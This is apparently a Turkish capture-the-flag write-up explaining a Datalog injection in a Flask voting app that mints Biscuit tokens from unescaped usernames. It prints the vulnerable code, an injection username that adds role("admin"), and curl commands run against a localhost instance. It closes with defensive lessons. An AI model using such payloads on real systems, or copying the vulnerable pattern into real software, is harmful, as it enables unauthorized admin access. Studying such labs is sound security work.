GaslightCTF 2026 — biscuit Çözümü
Bir oylama uygulaması, girdiğin kullanıcı adından Biscuit yetki jetonu üretiyor. Kullanıcı adı doğrudan Datalog kaynağının içine yazılıyor; özenle hazırlanmış bir kayıt, sunucunun senin adına imzaladığı jetona role("admin") gerçeğini enjekte edip personel odasının bayrağını açıyor.
GaslightCTF 2026 — biscuit
Bu Flask uygulaması, "personel odası"na girip giremeyeceğine karar vermek için Biscuit jetonlarını — Datalog tabanlı, imzalı bir yetki biçimi — kullanıyor. Yetkilendirme mantığı sağlam. Sorun, uygulamanın jetonları nasıl ürettiğinde.
- Yarışma: GaslightCTF 2026
- Kategori: Web
- Bileşenler: Flask ve
biscuit-python - Bayrak biçimi:
gaslightCTF{...}
Uygulama küçük bir oylama sitesi. Kayıt sırasında içinde user("isim") gerçeği bulunan bir Biscuit jetonu veriyor ve bayrak, role("admin") gerçeğini isteyen bir politikanın arkasında duruyor.
1. Jeton nasıl üretiliyor
İlginç olan her şey tek bir fonksiyonda:
def mint(username: str) -> str:
builder = BiscuitBuilder(
f"""
user("{username}");
check if user($u), $u.length() > 0;
""",
)
if username == "webmaster":
builder.add_fact(Fact('role("admin")'))
return builder.build(root.private_key).to_base64()Jetonun kaynağı bir Datalog programı. Sıradan bir kullanıcı yalnızca user("...") gerçeğini alıyor. Ayrıcalıklı role("admin") gerçeği ise sadece kullanıcı adı birebir webmaster olduğunda ekleniyor.
Sorun f-string'de. username hiçbir kaçış uygulanmadan doğrudan Datalog kaynağının içine konuyor — ve uygulama, ortaya çıkan şeyi tereddütsüz imzalıyor:
@app.route("/signup", methods=["POST"])
def signup():
username = request.form.get("username", "").strip()
...
USERS[username] = password
response = redirect(url_for("index"))
response.set_cookie(COOKIE, mint(username), httponly=True, samesite="Lax")
return responseBurada önemli olan tek şey kayıt (signup). Uyulması gereken bir parola politikası yok ve jeton anında veriliyor.
2. Yetkilendirme tarafı
İki politika jetonu okuyor. Tek başına hiçbiri istismar edilebilir değil — zafiyet tamamen jetonun ne içermesine izin verildiğinde:
def current_user() -> str | None:
return _authorize("allow if user($u);")
def current_admin() -> str | None:
return _authorize('allow if user($u), role("admin");')Ve bayrak rotası:
@app.route("/flag")
def flag():
if current_user() is None:
return redirect(url_for("login"))
if current_admin() is None:
return render_template("flag.html"), 403
return render_template("flag.html", flag=FLAG)current_admin() != None durumuna ulaşırsan bayrak dönüyor. Bunun için jetonun hem user(...) hem de role("admin") içermesi gerekiyor.
3. Datalog enjeksiyonu
Üretilen program bir metin, dolayısıyla dizeyi kapatıp kendi gerçeklerimizi ekleyebiliriz. Şablon şu:
user("{username}");
check if user($u), $u.length() > 0;Tırnağı kapatan, ifadeyi bitiren ve ayrıcalıklı gerçeği enjekte eden, ardından şablonun geri kalanı geçerli kalsın diye yeniden bir dize açan bir kullanıcı adı seçelim:
a"); role("admin"); user("bÜretilen program şu hale geliyor:
user("a"); role("admin"); user("b");
check if user($u), $u.length() > 0;Bu geçerli bir Datalog: user("a") ve role("admin") ile user("b") gerçeklerini öne sürüyor, check de bir user gerçeği bulunduğu için geçiyor. Sunucu bunu root.private_key ile imzalayıp jetonu bize veriyor.
Kullanıcı adı 28 karakter — len > 32 sınırının epey altında — ve diğer tek kontrol olan "bu isim alınmış mı" kontrolü de geçiyor.
4. Çalıştırma
Hazırladığımız kullanıcı adıyla kayıt olalım:
$ curl -s -i -c bc.jar \
--data-urlencode 'username=a"); role("admin"); user("b' \
--data-urlencode 'password=x' \
http://127.0.0.1:8181/signup | head -1
HTTP/1.1 302 FOUNDYanıt, imzalı jetonu çerez olarak taşıyor:
set-cookie: biscuit=EsEBClcKAWEKAWIKAXUYAyIJCgcIChIDGIAIIggKBggGEgIYDSIJCgcIChIDGIEIMioKKAoCCBsSBwgKEgMIgggaGQoFCgMIgggKBBICCAIKBAoCEAAKBBoCCAESJAgAEiCTilmmFgUpJBD0KyxoD8B0IjUFVEvwPDamqMUMHrdd2RpA0lXR0LlNQc1APBWJjyH2pyYOrhuNzq6qecmCoPw8ta1hnaDrFmnGJfr2RKsjVJnjbRjKJlaXjS5Yrvh5Xbu6ACIiCiDKqbiPX_wTYMi2reiupga1GEjOQpiJOXhu3J67VUx69A==Sonra o çerezle bayrağı isteyelim:
$ curl -s -b bc.jar http://127.0.0.1:8181/flag | grep -A1 'recipe'
<p>Welcome back, webmaster. The secret recipe:</p>
<p class="flag">gaslightCTF{fake_flag_for_local_testing}</p>Webmaster parolasını hiç bilmeden yönetici olduk.
5. Neden çalışıyor
Biscuit jetonları bir yetenek (capability) sistemidir: jeton kök anahtarla imzalandığı için taşıyıcı yeni gerçekler uyduramaz. Bu özellik burada tümüyle sağlam — imzayı hiçbir zaman kırmıyoruz. Zafiyet, düzenleyen (issuer) tarafın saldırgan girdisini imzaladığı Datalog kaynağına eklemesinde. Yani saldırgan bir şey uydurmuyor; sunucunun, asla vermemesi gereken bir gerçeği kendi eliyle onaylamasını sağlıyor.
Bu, SQL enjeksiyonu veya XSS'in jeton biçimindeki karşılığı: yapısal bir dil, dize birleştirmeyle kuruluyor ve veri kanalı ile kod kanalı birbirinden ayrılmıyor.
6. Bayrak
gaslightCTF{fake_flag_for_local_testing}FLAG bir ortam değişkeni; gösterilen değer, çalıştırmayı yeniden üretmek için kullanılan yerel test değeri.
7. Öğrenilen
- Bir jetonu, sorguyu ya da politikayı kullanıcı verisini yapısal bir dile yerleştirerek asla kurma. Kütüphanenin builder API'sini kullanarak dize gerçeklerini veri olarak ekle (
Fact("user($u)")ile kullanıcı adını bir terim olarak bağla), kaynak olarak değil. - İmzalı bir jeton, ancak düzenleyenin girdi işleyişi kadar güvenilirdir. İmzalayan taraf saldırgan kontrollü kaynağı kabul ediyorsa, "kriptografik olarak imzalı" demek güvenlik argümanı değildir.
- Doğru görünen politika kontrolleri (
allow if user($u), role("admin")), jeton içine enjekte edilmiş birrole("admin")gerçeğiyle üretilebiliyorsa hiçbir işe yaramaz. - Sunucunun girdinden ürettiği kaynağı bulanıklaştır (fuzz). Kullanıcı adındaki özel karakterler imzalı bir programın biçimini değiştirebiliyorsa, enjeksiyon vardır.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver